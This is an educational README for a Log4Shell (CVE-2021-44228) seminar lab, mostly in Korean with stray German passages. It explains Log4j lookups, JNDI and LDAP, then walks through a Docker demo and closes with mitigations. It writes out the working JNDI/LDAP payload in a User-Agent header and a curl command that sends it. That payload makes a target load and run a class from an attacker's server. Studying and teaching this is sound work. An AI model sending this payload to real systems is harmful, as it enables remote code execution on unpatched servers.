
Log4Shell 보안 취약점(CVE-2021-44228) 실습 시연
이 저장소는 보안 관련 세미나 논문의 일환으로 교육 및 시연 목적으로만 사용됩니다. 본 코드를 프로덕션 환경이나 명시적 허가 없이 시스템에 사용하지 마십시오. 이 구성은 보안 인식을 높이고, 로깅, 이름 확인, 클래스 동적 로딩과 같은 겉보기에는 무해한 기능들이 결합될 때 복잡한 취약점이 어떻게 발생할 수 있는지 보여주기 위한 것입니다.
이 세미나 논문의 목표는 2021년 12월에 알려지고 최근 몇 년간 가장 중요한 보안 취약점 중 하나로 평가된 Log4Shell 보안 허점(CVE-2021-44228)에 대한 깊이 있는 이해를 제공하는 것입니다. 이 작업에서는 이론적 기초를 설명하고 취약점의 실제 시연을 보여줍니다.
Log4Shell 보안 허점을 실제로 설명하기 위해 이 저장소에 격리되고 컨테이너화된 환경을 구축하여 전체 공격 과정을 재현 가능하게 보여줍니다. 이 시연은 세 가지 핵심 구성 요소를 기반으로 합니다.
User-Agent 헤더를 로깅하며, 공격자는 이를 조작하여 취약점을 악용할 수 있습니다.Exploit.class)를 제공하는 간단한 HTTP 서버입니다. LDAP 서버와 마찬가지로 이 서버도 공격자의 통제 하에 있습니다.참고: 설정 및 시연 실행에 대한 자세한 정보는 4. 프로젝트 구조 및 설정 및 5. 프로젝트 데모 섹션에서 확인할 수 있습니다.
Log4Shell은 CVE-2021-44228로 지정된 Java 라이브러리 Log4j의 중요한 보안 취약점 이름입니다. 이 취약점으로 인해 공격자는 최소한의 노력으로 원격 서버에서 임의의 코드를 실행할 수 있습니다(원격 코드 실행, 줄여서 RCE).
이 취약점은 Log4j 버전 2.0부터 2.14.1까지 영향을 미치며, BSI(연방정보보안청)를 포함한 많은 보안 당국에서 최고 위험 수준으로 분류할 정도로 심각합니다.
Log4Shell이 특히 위험한 이유는 다음과 같습니다.
실제 원인은 Log4j의 Lookup이라는 기능을 통해 로그 메시지에 동적 콘텐츠를 로드할 수 있다는 점에 있습니다. JNDI(Java Naming and Directory Interface) 및 LDAP(Lightweight Directory Access Protocol) 프로토콜과 결합하면 원격 악성 Java 클래스를 로드하고 실행할 수 있습니다.
취약점의 발견과 공개는 전 세계적으로 보안 경보를 촉발했습니다. 많은 시스템이 즉시 패치되거나 종료되어야 했습니다. 이후에도 관련 취약점(예: CVE-2021-45046)이 추가로 알려져 문제가 얼마나 심각하고 위험했는지 보여줍니다.
다음에서는 관련 기술과 그 상호 작용을 자세히 설명하여 취약점에 대한 더 깊은 이해를 제공합니다.
Log4j는 Apache에서 만든 Java 애플리케이션에서 이벤트를 기록하는 라이브러리입니다. 로깅은 소프트웨어 개발에서 시스템을 모니터링하거나 오류를 분석하는 핵심 도구입니다. Log4j는 Java 생태계에서 가장 잘 알려지고 널리 사용되는 로깅 프레임워크 중 하나이며, 소규모 애플리케이션부터 대규모 기업 시스템까지 사용됩니다.
프로그램이 실행되는 동안 다음과 같은 이벤트가 발생합니다.
이러한 이벤트는 로그를 통해 문서화할 수 있으며, 일반적으로 콘솔, 파일 또는 네트워크 프로토콜을 통해 중앙 로그 서버로 텍스트 출력됩니다. 적절한 로깅을 통해 애플리케이션이 언제 무엇을 했는지 추적할 수 있습니다.
Log4j는 로그 메시지를 생성하고 처리하기 위한 유연하고 고도로 구성 가능한 인프라를 제공합니다. 주요 기능은 다음과 같습니다.
DEBUG, INFO, WARN, ERROR)이 있어 로깅의 세부 정도를 제어할 수 있습니다.세미나 논문과 관련된 추가 기능은 이후 섹션, 특히 플레이스홀더 기능과 Lookup 기능에서 다룹니다.
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Example { private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.info("Starte Anwendung...");
}
}
이 간단한 예제에서는 Logger 인스턴스를 생성하거나 이미 존재하는 경우 가져옵니다. 그런 다음 `INFO` 레벨에서 로그 메시지를 출력합니다. Log4j는 구성에 따라 메시지의 형식화와 출력을 처리합니다. 예시 구성은 다음과 같을 수 있습니다:```xml
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
이 구성은 날짜 시간 로그 레벨 로거 이름 - 메시지 형식으로 로그 메시지를 콘솔에 출력하는 어펜더를 정의합니다. 이 어펜더는 INFO 레벨 이상의 모든 로그 메시지를 처리하는 루트 로거에 할당됩니다.
출력은 다음과 같을 수 있습니다:``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...
Kommen wir nun zu den spezifischen Features von Log4j, die für die Log4Shell-Sicherheitslücke am relevantesten sind.
#### 로그 메시지의 자리 표시자
Log4j의 특히 유용한 기능은 로그 메시지에서 **자리 표시자**를 지원한다는 것입니다. 이를 통해 런타임에 동적 콘텐츠를 로그 출력에 삽입할 수 있습니다:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);
실행 시 {}는 변수 username의 실제 값으로 대체됩니다. 이는 다음과 같은 출력을 생성합니다:```text
"Benutzer angemeldet: Alice"
#### 동적 표현식 (Lookup)
Log4j는 단순한 플레이스홀더 외에도 로그 메시지에서 직접 더 복잡한 표현식을 해결하는 기능을 제공합니다. 이 기능을 **Lookup**이라고 합니다: 런타임에 동적으로 값(예: 환경 변수, 시스템 정보 또는 구성 값)을 삽입할 수 있습니다.
이러한 동적 표현식의 예:
- `${env:HOME}` - 환경 변수 `HOME`의 값을 반환합니다. Linux/macOS에서는 예를 들어 `/home/username`입니다.
- `${docker:...}` - 애플리케이션이 실행 중인 Docker 컨테이너에 대한 정보를 제공할 수 있습니다.
- `${jndi:...}` - 내부 또는 외부 리소스를 로드하기 위해 JNDI 조회를 수행합니다.
다음 섹션에서는 Log4Shell 보안 취약점에서 핵심적인 역할을 하는 JNDI 기능을 자세히 살펴보겠습니다.
### 3.2 JNDI - 조회 메커니즘
**JNDI**는 _Java Naming and Directory Interface_의 약자로, **이름 및 디렉토리 서비스**에 접근할 수 있는 표준화된 Java API입니다. JNDI를 사용하면 Java 애플리케이션이 리소스를 기술적 경로가 아닌 기호 이름으로 참조할 수 있습니다.
JNDI의 전형적인 사용 예는 데이터베이스 연결을 조회하는 것으로, 다음과 같습니다:```java
public class JndiExample {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
// Datenbankverbindung verwenden
}
}
먼저 JNDI를 사용한 이름 해석의 진입점인 InitialContext가 생성됩니다. 그런 다음 lookup 메서드를 통해 리소스를 검색합니다. 이 경우에는 java:/comp/env/jdbc/myDB라는 심볼릭 이름을 가진 데이터 소스(DataSource)입니다.

Java 애플리케이션은 JNDI의 프로토콜 독립적 인터페이스를 사용합니다. 이 인터페이스에는 lookup 메서드를 가진 InitialContext와 같은 클래스가 포함됩니다. LDAP, DNS 등을 사용하더라도 API는 항상 동일합니다. Naming Manager는 중개자 역할을 하며 실제 통신을 담당하는 적절한 _Service Provider_를 선택합니다. JNDI SPI(Service Provider Interface)는 다양한 프로토콜에 대한 JNDI 기능을 구현하는 클래스 모음입니다. 우리의 경우 관련 서비스 제공자는 LDAP입니다.
다음 섹션에서는 서비스 제공자 LDAP를 자세히 살펴보겠습니다.
LDAP는 _Lightweight Directory Access Protocol_의 약어로, 소위 디렉터리 서비스에 대한 접근을 가능하게 하는 표준화된 네트워크 프로토콜입니다. 원래 X.500의 경량 대안으로 개발되었으며, 오늘날 많은 기업 네트워크, 특히 중앙 집중식 사용자 및 권한 관리의 표준입니다.
디렉터리 서비스는 계층적 형태로 정보를 저장하는 구조화된 데이터베이스입니다. 관계형 데이터베이스와 달리 디렉터리는:

그림에서 볼 수 있듯이 LDAP 디렉터리는 트리 형태로 구성됩니다. 루트 수준에는 **도메인 구성 요소(dc)**가 있습니다. 그 아래에는 Users와 같은 추가 하위 구분을 나타내는 **조직 단위(ou)**가 있을 수 있습니다. 개별 사용자 또는 개체의 경우 특정 항목을 식별하고 다양한 속성을 포함할 수 있는 **일반 이름(cn)**이 있습니다.
의미:
dn: Distinguished Namedc: Domain Componentou: Organizational Unitcn: Common Name이제 LDAP에 어떻게 접근하는지와 Log4Shell 보안 취약점에서 어떤 역할을 하는지 살펴보겠습니다.
LDAP에서는 필요할 때 로드할 수 있는 외부 클래스에 대한 참조를 저장할 수도 있습니다. 이는 javaClassName 및 javaCodeBase와 같은 특수 속성을 통해 이루어집니다. 이러한 속성은 Java 클래스를 로드할 URL을 가리킬 수 있습니다.
예를 들어 다음 URL을 사용하여 Java 클래스를 참조하는 객체를 조회할 수 있습니다:``` ldap://ldap-server:1389/Exploit

그림에서 볼 수 있듯이, LDAP 항목에는 `Exploit` 클래스를 가리키는 `javaClassName` 속성이 포함되어 있습니다. `javaCodeBase` 속성을 통해 클래스를 로드할 URL이 지정됩니다. 이 경우 `http://payload-server/` 주소의 HTTP 서버가 `Exploit.class`를 제공합니다.
이제 모든 기술 구성 요소를 자세히 살펴보았습니다. 다음 섹션에서는 Log4Shell 보안 취약점의 일반적인 진행 과정을 설명하여, 이러한 기술들이 어떻게 상호 작용하고 어떤 공격 벡터가 발생하는지 이해하도록 합니다.
### 3.4 Log4Shell 일반적인 진행 과정
지금까지 세 가지 관련 기술, 즉 로깅 프레임워크인 **Log4j**, 디렉터리 서비스 인터페이스인 **JNDI**, 구체적인 디렉터리 서비스인 **LDAP**를 개별적으로 살펴보았습니다. 이를 통해 보안 조치가 취해지지 않은 경우 이들의 조합이 얼마나 위험할 수 있는지 명확해집니다.
Log4j 버전 2.14.1까지는 소위 **Lookups**를 로그 메시지에서 직접 평가할 수 있었습니다. 이를 통해 JNDI 쿼리를 LDAP를 통해 포함시킬 수 있었고, 이 기능을 명시적으로 활성화하지 않아도 원격 서버에서 임의의 Java 클래스를 로드하여 실행할 수 있었습니다.
#### 구체적인 상호 작용 시나리오:
이제 배운 내용을 구체적인 예제에 적용해 보겠습니다. 첫 번째 단계로 다음 표현식을 사용하여 JNDI 조회를 시작합니다:```text
${jndi:...}
이제 LDAP 서비스 공급자를 사용하여 원격 Java 클래스를 로드합니다 ldap://ldap-server:1389/Exploit. 합쳐서 다음 문자열이 생성됩니다:```text
${jndi:ldap://ldap-server:1389/Exploit}
이제 공격자는 이 문자열이 예를 들어 HTTP 헤더를 조작하여 로그 메시지에 포함되도록 하면 됩니다.

그림에서 볼 수 있듯이 왼쪽에는 자체 LDAP 서버와 페이로드 서버를 호스팅하는 공격자가 있습니다. 오른쪽에는 Log4j 버전 2.14.1을 사용하는 취약한 애플리케이션이 있습니다. 공격의 진행 과정은 다음과 같습니다:
1. 공격자는 애플리케이션에 HTTP 요청을 보내고 위에 표시된 조작된 문자열을 예를 들어 `User-Agent` 헤더에 포함시킵니다: ```http
User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
User-Agent 헤더를 기록합니다: ```java
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
Log4j가 ${jndi:...}를 인식하고 지정된 프로토콜 ldap을 통해 자동으로 JNDI 조회를 수행합니다.
이제 LDAP 서비스 제공자가 호출되어 지정된 URL ldap://ldap-server:1389/Exploit을 해석합니다.
LDAP 서버가 다음 서버에 있는 외부 Java 클래스 (Exploit.class) 에 대한 참조로 응답합니다. ```
http://payload-server:8000/Exploit.class
애플리케이션이 Exploit.class를 로드하기 위해 페이로드 서버에 요청을 보냅니다.
페이로드 서버는 Java 클래스 Exploit.class로 응답합니다. 그런 다음 이 클래스는 어떠한 검증도 없이 실행됩니다. 이로써 공격자는 취약한 서버에서 실행되는 코드를 완전히 제어할 수 있습니다.
이유는:
Log4j의 동적 조회, JNDI의 유연한 이름 확인, LDAP 프로토콜의 상호 작용은 예상치 못한 공격 표면을 만듭니다. 원래 강력한 구성 기능으로 의도되었던 것이 원격 코드 실행을 위한 진입점이 되었습니다.
다음 섹션에서는 로컬에서 취약점을 실행하기 위한 프로젝트 구조와 데모 설정에 대해 설명합니다.
프로젝트 구조는 세 가지 핵심 구성 요소를 반영합니다:```text log4shell/ ... ├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1 ├── ldap-server/ # LDAP-Server (Fork von marshalsec) ├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads ...
### 4.2 요구 사항
Log4Shell 데모를 로컬에서 실행하려면 다음 요구 사항이 필요합니다:
#### Docker 및 Docker Compose
전체 인프라는 컨테이너 기반입니다. Docker는 각 구성 요소(vulnerable-app, ldap-server, payload-server)가 격리된 환경에서 실행되도록 합니다.
- **Docker**:
설치: [https://www.docker.com/get-started](https://www.docker.com/get-started)
- **Docker Compose**(Docker Desktop에 포함되어 있음)
또는 [https://docs.docker.com/compose/](https://docs.docker.com/compose/)에서 설치 가능
#### cURL
명령줄에서 공격을 실행하려면 `curl` 도구를 사용할 수 있습니다:
- Linux/macOS에는 이미 설치되어 있음
- Windows의 경우 [https://curl.se/](https://curl.se/) 또는 Git Bash에 포함됨
> **참고:** 애플리케이션과 포함된 모든 서버는 로컬 컴퓨터에서 실행되며, 격리된 Docker 네트워크(`log4shell-network`) 내에서만 통신합니다. 외부 서버에 대한 연결이 필요하지 않으며, 연결되지도 않습니다.
### 4.3 설정
이 섹션에서는 로컬 환경을 설정하고 시작하는 방법을 설명합니다.
#### 1단계: 저장소 복제```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell
Docker Compose를 사용하면 필요한 모든 서비스를 단일 명령어로 시작할 수 있습니다:```bash docker-compose up --build
`docker-compose up --build`는 다음을 의미합니다:
- `vulnerable_app`, `ldap_server`, `payload_server` 이미지가 빌드됩니다
- 세 서비스 모두 시작됩니다
- 공유 내부 Docker 네트워크(`log4shell-network`)를 통해 통신합니다
성공적으로 시작된 후, 애플리케이션은 다음 엔드포인트를 통해 접근 가능합니다:```
http://localhost:8080
로그 출력과 이벤트가 콘솔에 실시간으로 표시됩니다. 컨테이너는 터미널 창이 열려 있는 동안(또는 프로세스가 백그라운드에서 실행 중인 동안) 실행됩니다.
참고: 충돌을 방지하려면 8080, 1389 또는 8000 포트에서 다른 서비스가 실행되고 있지 않은지 확인하세요.
컨테이너를 종료하려면
docker-compose down을 사용하면 됩니다. 그러면 실행 중인 모든 컨테이너가 중지 및 제거되지만 이미지는 유지됩니다.
이 섹션에서는 제공된 데모 환경에서 Log4Shell 취약점을 의도적으로 트리거하는 방법을 보여줍니다. 이전에 시작된 모든 구성 요소가 함께 작동합니다.
User-Agent 헤더를 기록합니다.Exploit.class)를 제공합니다.데모를 실행하려면 두 개의 콘솔 창이 필요합니다. 먼저 한 터미널에서 docker-compose up --build로 환경을 시작합니다(아직 하지 않은 경우). 그런 다음 두 번째 터미널에서 다음 단계를 수행합니다.
데모이기 때문에 익스플로잇은 단순히 빈 파일을 생성하여 성공적인 실행을 증명합니다. 이 내용은 payload-server/Exploit.java 클래스에서 확인할 수 있습니다. 파일이 아직 존재하는지 확인하려면 다음 명령을 실행하세요. ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
파일이 존재하지 않으면 `No such file or directory`와 같은 오류 메시지가 나타나야 합니다. 이는 익스플로잇이 아직 실행되지 않았음을 확인합니다.
2. **조작된 문자열을 애플리케이션에 전송하십시오**: ```bash
curl -X GET -H 'User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}' http://localhost:8080
Erklärung des Payloads:
${jndi:...}: Log4j interpretiert diesen Ausdruck automatisch und führt einen JNDI-Lookup durch.ldap://ldap-server:1389: Verbindet sich mit dem LDAP-Server, der im Docker-Netzwerk läuft./Exploit: Name des LDAP-Eintrags, der auf die schädliche Klasse verweist.http://localhost:8080: Die URL der verwundbaren Anwendung, an die Sie die Anfrage senden, um die Log4j-Schwachstelle auszulösen.Was passiert im Hintergrund?

User-Agent-Header loggenUser-Agent-Header aus und führt einen JNDI-Lookup über LDAP durchExploit.class, welche der Payload-Server bereitstelltHinweis: Wie bereits erwähnt, wird in dieser Demo lediglich eine leere Datei erstellt, um die erfolgreiche Ausführung zu demonstrieren. In echten Angriffsszenarien könnte beliebiger Code ausgeführt werden!
Angriffsfolge überprüfen
Nun können Sie erneut überprüfen, ob die Datei /tmp/remote_code_execution im Container erstellt wurde: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
공격이 성공하면 다음 출력이 표시됩니다: ``` -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution
단 하나의 조작된 로그 라인만으로 완전한 원격 코드 실행 프로세스가 시작되며, 이것이 바로 Log4Shell이 매우 위험한 이유입니다. 이 데모는 **Log4j**, **JNDI** 및 **LDAP**의 상호 작용이 어떻게 악용으로 이어질 수 있는지 보여줍니다.
## 6. 보호 조치
Log4Shell 보안 취약점은 현대 애플리케이션이 겉보기에는 무해해 보이는 기능을 통해 얼마나 심각하게 손상될 수 있는지 보여주었습니다. 이러한 공격으로부터 시스템을 효과적으로 보호하려면 다음 조치를 구현해야 합니다.
- **Log4j 버전 업데이트 (최소 2.17.1)**
가장 중요한 조치는 **Log4j 버전 ≥ 2.17.1로 업데이트**하는 것입니다. 이 버전부터 알려진 모든 취약점(DoS 및 구성 익스플로잇 포함)이 수정되었기 때문입니다. 이전 버전은 여전히 취약하므로 더 이상 사용해서는 안 됩니다!
- **JNDI Lookup 비활성화**
전체 업데이트가 불가능한 경우 **JNDI Lookup을 비활성화**해야 합니다. 이는 `log4j2.properties` 파일에서 다음 구성을 설정하여 수행할 수 있습니다. ```properties
log4j2.formatMsgNoLookups=true
이 설정은 Log4j가 로그 메시지에서 JNDI Lookup을 평가하지 못하도록 차단합니다. 이를 통해 공격 표면이 크게 줄어듭니다. 그러나 이는 일시적인 임시 해결책에 불과하며, 다른 취약점(DoS, 구성 익스플로잇 등)은 여전히 존재할 수 있습니다.
입력값 검증
모든 사용자 입력값은 로그 메시지에 사용되기 전에 검증 및 정제되어야 합니다. 특히 ${jndi:...}와 같은 동적 표현식은 직접 사용해서는 안 됩니다.
외부 네트워크 연결 제한
익스플로잇의 핵심 부분은 공격자가 제어하는 외부 서버에 대한 무제한적인 접근이었습니다. 시스템은 임의의 외부 대상을 도달할 수 없도록 방화벽이나 네트워크 정책을 통해 구성되어야 합니다. 특히 애플리케이션 내에서 알 수 없는 LDAP 대상으로의 접근을 차단해야 합니다.
Log4Shell 보안 취약점은 자체 코드의 보안에만 의존하는 것이 아니라, 사용하는 라이브러리와 프레임워크를 신중하게 선택하고 이해하는 것이 얼마나 중요한지를 잘 보여줍니다. 이 경우, 겉보기에는 무해해 보이는 로깅 라이브러리(Log4j)가 원격 코드 실행 취약점으로 이어졌습니다. 이를 통해 의존성도 익스플로잇의 진입로가 될 수 있음을 알 수 있습니다. 외부 라이브러리가 정말 필요한지, 아니면 추가 의존성 없이도 기능을 구현할 수 있는지 항상 고려해야 합니다.
또 다른 중요한 점은 숨겨진 복잡성 문제입니다. 로그 메시지 내의 ${env:HOME}과 같은 기능은 겉보기에 무해해 보이지만, 동적 Lookup과 같은 복잡한 메커니즘을 배후에 숨기고 있습니다. 이로 인해 위험한 동작이 눈에 띄지 않게 스며들 수 있습니다. 대신 System.getenv("HOME")과 같이 명시적이고 투명한 솔루션을 사용하는 것이 좋습니다. 그러면 통제권을 유지하고 어떤 일이 발생하는지 추적할 수 있습니다.
또한 일반적이지만 종종 간과되는 원칙이 있습니다: 사용자 입력값을 검증 없이 처리하지 마십시오. 특히 로깅, 데이터베이스 접근, 시스템 명령어와 같은 보안 관련 작업에서는 입력값을 검증하고 정제해야 합니다.
마지막으로, 이 사건은 JNDI Lookup과 같은 강력한 기능이 기본적으로 활성화되어 있을 때 얼마나 위험할 수 있는지를 보여줍니다. Log4j에서 이 기능이 기본적으로 활성화되지 않았다면, 영향을 받는 시스템은 극히 일부에 불과했을 것입니다.
가장 중요한 교훈: